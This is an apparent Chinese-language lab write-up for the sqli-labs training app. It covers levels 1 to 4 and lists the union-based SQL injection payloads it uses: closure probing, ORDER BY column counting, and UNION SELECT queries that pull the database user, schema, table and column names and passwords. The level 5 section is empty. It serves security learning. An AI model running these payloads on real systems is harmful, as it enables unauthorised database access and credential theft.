sql-labs篇
union注入
# Less-01
1. 打开环境
3
2. 先查两个值看看
?id=1
?id=2
3. 判断是否存在注入,使用一些符号进行判断,利用错误信息
?id=2'
发现报错,语法错误,“syntax to use near "2" LIMT at line 1”,意思是在2附近有错误,也就是我们输入id=2' 的时候 与查询语句的闭合方式进行了拼接导致sql语法规则错误。
这关中sql查询语句是
SELECT * FROM user WHERE id='输入值'
我们输入了值后sql查询语句就变成了
SELECT * FROM test WHERE id='2''
因此报错,这里还有一个问题就是输入为2"的时候并不会报错,这是因为这是一个字符型注入,sql查询语句字符型的查询只会使用单引号,sql中只支持单引号。
可以用布尔型注入判断
1‘ and 1=1 %23 #不报错 1' and 1=2 %23 #报错
?id=1' order by 4 %23 #判断字段列数 ?id=1' order by 3 %23 # 为三列 ?id=-1' union select 1,2,3 #查看哪些数据可以回显 ?id=-1' union select 1,user(),database() %23 #查看当前用户名和数据库名 ?id=-1' union select 1,2,group_concat(schema_name) from infomation_schema.schemata %23 #查看所有数据库 ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库名' #查看对应数据库的表信息 ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='数据库名' #查看对应表的所有列信息 ?id=-1' union select 1,2,group_concat(password) from 数据库名.表名 #查看数据
# Less-02
跟less1一样,先输入两个值进行测试,发现都能正常回显
?id=1 ?id=2
输入符号 ' 进行测试,发现报错
使用布尔注入进行测试,and 1=1,发现还是报错,说明这是一个数字型注入,不用' 进行闭合。
后面的步骤和less1一样
?id=1 order by 4 #不报错,但查询不到 ?id=1 order by 3 #正常回显 ?id=-1 union select 1,user(),database() #查询用户、数据库信息 #后面和less 1一样,爆数据库名,表名,列名,数据
# Less-03
?id=1'
使用转义符 \ 进行测试,发现是')闭合,确认闭合方式后,爆破流程和第一关一样。
# Less-04
“)闭合。
Boolean注入
# Less-05
标签:23,union,笔记,报错,sql,id,select,注入 From: https://www.cnblogs.com/Focu4/p/17512931.html